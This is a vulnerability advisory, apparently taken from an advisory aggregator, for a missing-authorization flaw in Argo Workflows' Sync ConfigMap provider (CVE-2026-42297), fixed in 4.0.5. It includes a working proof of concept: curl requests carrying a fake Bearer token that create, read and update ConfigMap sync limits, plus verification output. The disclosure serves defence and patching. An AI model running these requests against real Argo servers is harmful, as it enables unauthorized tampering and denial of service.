Advisory

GHSA-xchc-cqwg-g76q

Also known as: BIT-argo-workflows-2026-42297, CVE-2026-42297, GO-2026-5751

Summary

Argo has Missing Authorization in its Sync ConfigMap Provider

Details

Summary
The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.

Details
The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:

// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
    // NO auth.CanI check
    kubeClient := auth.GetKubeClient(ctx)
    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
    // ... directly creates/updates ConfigMaps
}
  • server/sync/sync_cm.go — lines 23-155
  • All four SyncService endpoints: CreateSyncLimit, GetSyncLimit, UpdateSyncLimit, DeleteSyncLimit

PoC
Prerequisites

  • Argo Server running with --auth-mode=server
  • Port-forward: kubectl port-forward -n argo svc/argo-server 2746:2746

Step 1: Create Sync Limit (Fake Token)

curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Verify ConfigMap was created in Kubernetes:

kubectl get configmap test-sync -n default
NAME        DATA   AGE
test-sync   1      74s

Step 2: Read Sync Limit (Fake Token)

curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
  -H "Authorization: Bearer fake-token"

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}

Step 3: Update Sync Limit (Fake Token)

curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
  -H "Authorization: Bearer fake-token" \
  -H "Content-Type: application/json" \
  -d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'

Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}

Verify the ConfigMap was actually modified:

kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999

Impact
An attacker with network access to the Argo Server can:

  1. Denial of Service — Set sync limits to 0 or 1, blocking all parallel workflow execution
  2. Workflow Disruption — Modify existing sync limits to break running workflows
  3. Information Disclosure — Read ConfigMap data that may contain sensitive configuration
  4. Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account

Related CVEs

  • CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing auth.CanI check)
  • CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-05-04 20:00 UTC
Modified
2026-09-10 03:50 UTC

Affected packages and fixes

github.com/argoproj/argo-workflows/v4

Go · All systems

Affected

  • introduced 4.0.0, fixed 4.0.5 (semver)

Fixed versions

4.0.5

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences